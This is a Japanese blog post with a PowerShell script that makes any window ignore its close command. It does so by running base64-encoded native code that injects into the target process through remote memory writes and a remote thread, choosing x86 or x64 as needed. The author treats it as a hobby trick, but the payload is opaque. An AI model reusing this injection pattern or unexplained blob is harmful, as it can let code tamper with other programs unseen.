任意のプロセスのWM_SYSCOMMANDのSC_CLOSEを無視させる(その2)
前回は、x86オンリーでした。
今回は、「1ファイルでx64/x86両方に対応する」ことを目指しました。
その前に
任意のプロセスのWM_SYSCOMMANDのSC_CLOSEを無視させる方法自体は秘密です。
もちろん、掲載しているところに書いてありますが、それはアセンブリレベルになります。
アセンブリを読める人には隠蔽できてませんが、ま、それは良いものとします。
(アセンブリ読めるならわかるでしょう)
どちらかと言うと、相手が何かによって、自身を呼びなおす部分が一番のポイントかと。
制約のクリア方法
任意のプロセスにちょっかいを出そうとすると、WOW64の壁が大きく立ちはだかります。
x86のDLLはx86でしか呼べない。
x64のDLLはx64でしか呼べない。
すなわちDLLフックするにしても、x86用とx64用を二つ用意するのが普通。
しかし、複数になるのは、嫌!
ここでふと思い出したのが、.netのAnyCPU。(結果的には関係ないですが、、、)
.netではプロセス間通信に、.net remotingが使えるのですが、
.net remoting部分をdllに追い出してAnyCPUにすると、x86/x64に関わらず通信できる!
.netならx86/x64の壁を越えられる!
、、、いやまて。
.netと言えばpowershell。
powershellなら、相手にあわせて自分を呼びなおせばいいじゃない!
でも、メッセージフックのDLLは別ファイルだよね、、、。
いやまて、Asmモジュールがあれば!
ということでスクリプト
前置きが長くなりましたが、任意のプロセスのWM_SYSCOMMAND SC_CLOSEを無視させるpowershellスクリプトです。
Asmモジュール相当をC#のクラスとして実現しています。
$source = @" using System; using System.Runtime.InteropServices; public class Asm { public const string KERNEL32 = "kernel32"; [DllImport(KERNEL32)] public extern static uint GetLastError(); [DllImport(KERNEL32)] public static extern IntPtr GetModuleHandle(string lpModuleName); public static IntPtr hKernel32 = GetModuleHandle(KERNEL32); [DllImport(KERNEL32)] public extern static IntPtr LoadLibrary(string lpFileName); [DllImport(KERNEL32, CharSet = CharSet.Ansi, ExactSpelling = true)] public extern static IntPtr GetProcAddress(IntPtr hModule, string lpProcName); [DllImport(KERNEL32)] public extern static bool FreeLibrary(IntPtr hModule); [DllImport(KERNEL32)] private extern static IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); private const uint PROCESS_QUERY_INFORMATION = 0x0400; private const uint PROCESS_QUERY_LIMITED_INFORMATION = 0x1000; [DllImport(KERNEL32)] public extern static bool CloseHandle(IntPtr hObject); [DllImport(KERNEL32)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool IsWow64Process([In] IntPtr hProcess, [Out] out bool lpSystemInfo); [DllImport(KERNEL32)] private extern static IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint fAllocType, uint flProtect); private const uint MEM_COMMIT = 0x1000; private const uint PAGE_READWRITE = 0x4; private const uint PAGE_EXECUTE_READWRITE = 0x40; [DllImport(KERNEL32)] private extern static bool VirtualFree(IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType); private const uint MEM_RELEASE = 0x8000; [DllImport(KERNEL32)] private extern static IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); [DllImport(KERNEL32)] public extern static uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); public const uint WAIT_OBJECT_0 = 0; public const uint WAIT_TIMEOUT = 258; [DllImport(KERNEL32)] private extern static bool GetExitCodeThread(IntPtr hThread, out uint lpExitCode); [DllImport(KERNEL32)] private extern static void RtlMoveMemory(IntPtr dest, IntPtr source, UIntPtr size); public static IntPtr Set(string code) { IntPtr ret = IntPtr.Zero; if (code != null) { byte[] data = Convert.FromBase64String(code); if (data.Length > 0) { ret = VirtualAlloc(IntPtr.Zero, (UIntPtr)data.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (ret != IntPtr.Zero) { Set(ret, 0, data); } } } return ret; } public static IntPtr Alloc(int size) { return VirtualAlloc(IntPtr.Zero, (UIntPtr)size, MEM_COMMIT, PAGE_READWRITE); } public static bool Free(IntPtr addr) { return VirtualFree(addr, UIntPtr.Zero, MEM_RELEASE); } // 戻りはtypeによって異なる // type=0 : スレッド終了コード // type=1 : スレッド終了コード取得失敗エラーコード // type=258 : スレッドハンドル // type=他 : その他エラーコード public static IntPtr Run(IntPtr addr, IntPtr para, out uint type) { return Run(addr, para, out type, 0x7fffffff); } public static IntPtr Run(IntPtr addr, IntPtr para, out uint type, int timeout) { IntPtr ret = IntPtr.Zero; uint res = 0; IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, para, 0, out res); ret = (IntPtr)GetLastError(); type = WAIT_TIMEOUT; if (timeout >= 0) type = WaitForSingleObject(hThread, (uint)timeout); switch (type) { case WAIT_OBJECT_0: if (GetExitCodeThread(hThread, out res)) { ret = (IntPtr)res; } else { type = 1; ret = (IntPtr)GetLastError(); } CloseHandle(hThread); break; case WAIT_TIMEOUT: ret = hThread; break; } return ret; } public static int Set(IntPtr p, int offset, byte[] data) { int ret = 0; if (data != null) ret = data.Length; if (ret > 0) Marshal.Copy(data, 0, (IntPtr)((Int64)p + offset), ret); return ret; } public static int Set(IntPtr p, int offset, string data, string conv) { return Set(p, offset, System.Text.Encoding.GetEncoding(conv).GetBytes(data)); } public static int Set(IntPtr p, int offset, string data) { return Set(p, offset, System.Text.Encoding.Unicode.GetBytes(data)); } public static int Set(IntPtr p, int offset, uint data) { return Set(p, offset, BitConverter.GetBytes(data)); } public static int Set(IntPtr p, int offset, IntPtr data) { int ret = 0; if (Is64()) { ret = Set(p, offset, BitConverter.GetBytes((Int64)data)); } else { ret = Set(p, offset, BitConverter.GetBytes((Int32)data)); } return ret; } public static byte[] Get(IntPtr p, int offset, int size) { byte[] ret = null; if (size >= 0) { ret = new byte[size]; Marshal.Copy((IntPtr)((Int64)p + offset), ret, 0, size); } return ret; } public static uint GetUint32(IntPtr p, int offset) { return BitConverter.ToUInt32(Get(p, offset, sizeof(UInt32)), 0); } public static int IsWow64Hwnd(IntPtr hwnd) { int ret = -1; uint procId; if (GetWindowThreadProcessId(hwnd, out procId) > 0) { IntPtr hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, procId); if (hProc != IntPtr.Zero) { ret = 0; if (IsWow64(hProc)) ret = 1; CloseHandle(hProc); } } return ret; } public static bool IsWow64(IntPtr target) { bool ret = false; //IsWow64Processが使えるか調べる if (GetProcAddress(hKernel32, "IsWow64Process") != IntPtr.Zero) { //IsWow64Processを呼び出す if (!IsWow64Process(target, out ret)) ret = false; } return ret; } public static bool Is64() { return (IntPtr.Size == sizeof(Int64)); } public static bool Is64OS() { bool ret = Is64(); if (!ret) ret = IsWow64(System.Diagnostics.Process.GetCurrentProcess().Handle); return ret; } public static string Dump(IntPtr p, int size) { string ret = "", buf = "", bufa = ""; byte[] data = new byte[size]; Marshal.Copy(p, data, 0, size); for (int i = 0; i < size; i++) { buf += string.Format(" {0:X2}", data[i]); if (data[i] >= 0x20 && data[i] < 0x7f) { bufa += System.Text.Encoding.ASCII.GetChars(data, i, 1)[0]; } else { bufa += "."; } if (i % 16 == 15) { ret += buf + " " + bufa; buf = ""; bufa = ""; } } if (buf.Length > 0) ret += buf.PadRight(49) + bufa; return ret; } private const string USER32 = "user32"; [DllImport(USER32)] private extern static uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); [DllImport(USER32)] private extern static bool GetCursorPos(out UInt64 lpPoint); [DllImport(USER32)] private extern static IntPtr WindowFromPoint(UInt64 point); [DllImport(USER32)] private extern static IntPtr GetParent(IntPtr hWnd); public static IntPtr GetFromPointWin(bool bWin) { IntPtr ret = IntPtr.Zero, parent = IntPtr.Zero; UInt64 point; if (GetCursorPos(out point)) { ret = WindowFromPoint(point); while (bWin && ret != IntPtr.Zero) { parent = GetParent(ret); if (parent == IntPtr.Zero) break; ret = parent; } } return ret; } } "@ Add-Type -Language CSharp -TypeDefinition $source #([AppDomain]::CurrentDomain).GetAssemblies() | Out-Gridview $target = [Asm]::GetFromPointWin($true) $addr = $null $offset = 1568 $paraSize = 40 $i = 0 if([Asm]::Is64OS()) { if([Asm]::Is64()) { if([Asm]::IsWow64Hwnd($target) -eq 1) { & (Join-Path ($PSHOME -replace 'system32','syswow64') 'powershell.exe') $MyInvocation.MyCommand.Path exit $? } else { #64実行 $addr = [Asm]::Set(@" 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 RCQw/1BISIlEJDhIi0QkOEiDxFjD "@); $offset = 2528 $paraSize = 80 } } else { if([Asm]::IsWow64Hwnd($target) -ne 1) { & (Join-Path ($PSHOME -replace 'syswow64','sysnative') 'powershell.exe') $MyInvocation.MyCommand.Path exit $? } } } if($addr -eq $null) { #32実行 $addr = [Asm]::Set(@" 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 SCBRi1X8i0Ik/9CJRfiLRfiL5V3CEADM "@); } $para = [Asm]::Alloc($paraSize) if ($addr -ne 0 -and $para -ne 0 -and [Asm]::hKernel32 -ne 0) { $i += [Asm]::Set($para, $i, [Asm]::GetProcAddress([Asm]::hKernel32, "LoadLibraryA")) $i += [Asm]::Set($para, $i, [Asm]::GetProcAddress([Asm]::hKernel32, "GetProcAddress")) $i += [Asm]::Set($para, $i, [Asm]::GetProcAddress([Asm]::hKernel32, "FreeLibrary")) $i += [Asm]::Set($para, $i, $target -as [IntPtr]) $i += [Asm]::Set($para, $i, (($addr -as [Int64]) + $offset) -as [IntPtr]); $res = [Asm]::Run($addr, $para, [ref]$offset) if($offset -eq [Asm]::WAIT_TIMEOUT) { #[Asm]::CloseHandle($res) $res = $offset } #[Asm]::Dump($para, $paraSize) } [void][Asm]::Free($para) [void][Asm]::Free($addr) $res
Asmモジュール相当のクラスをC#で作成しています。
Powershellから直接P/Invokeを呼ぶ方法もありますが、面倒なのでC#クラスにしました。
元のAsmモジュールでは、UWSCの機能があるので不要でしたが、以下のメソッドを追加。
- IsWow64Hwnd : 引数のHWNDを持つプロセスが、WOW64上で動作しているか調べる
- IsWow64 : 引数のプロセスハンドルのプロセスが、WOW64上で動作しているか調べる
- Is64 : 自プロセスが、x64かx86かを調べる(IntPtrのサイズを見るという安直版)
- Is64OS : OSがx64か調べる(自プロセスがx64ならx64だし、x86の場合もWOW64上ならx64ですね)
- GetFromPointWin : 引数がtrueなら親ウインドウ、falseならマウスポインターが示すHWNDを取得
Is64OSの場合は、自分と対象プロセスが食い違う場合がある。
自分Is64/相手IsWow64の場合、powershellのパスをsystem32->syswow64にして自スクリプトを呼びなおす。
自分Is64/相手!IsWow64の場合、x64として実行。
自分!Is64/相手!IsWow64の場合、powershellのパスをsyswow64->sysnativeにして自スクリプトを呼びなおす。
上記以外は、x86として実行。
以下のようなところです。
if([Asm]::Is64OS()) { if([Asm]::Is64()) { if([Asm]::IsWow64Hwnd($target) -eq 1) { #自分64相手32 & (Join-Path ($PSHOME -replace 'system32','syswow64') 'powershell.exe') $MyInvocation.MyCommand.Path exit $? } else { #64実行 exit } } else { if([Asm]::IsWow64Hwnd($target) -ne 1) { #自分32相手64 & (Join-Path ($PSHOME -replace 'syswow64','sysnative') 'powershell.exe') $MyInvocation.MyCommand.Path exit $? } } } #32実行
Powershellからネイティブコードを呼びだすサンプルでもありますが、、、ほぼメリットないですね。
.netは便利です。
関係ないけど、XP、はやく絶滅しないかなー(.net前提でコーディングしたいので)
なお、3.0と4.5に対応するのが良さそう(Vista/Win7/Win8のプリインストール都合)
Vistaが絶滅したら、3.5(Win7)と4.5(Win8)。
なお、.netのアセンブリは、SDKのCorFlags.exeがあれば、32bitと64bitを切り替えることができます。
が、別ファイルが必要なので今回は採用しませんでした。
(自分にマークして再実行できるか知らないですし)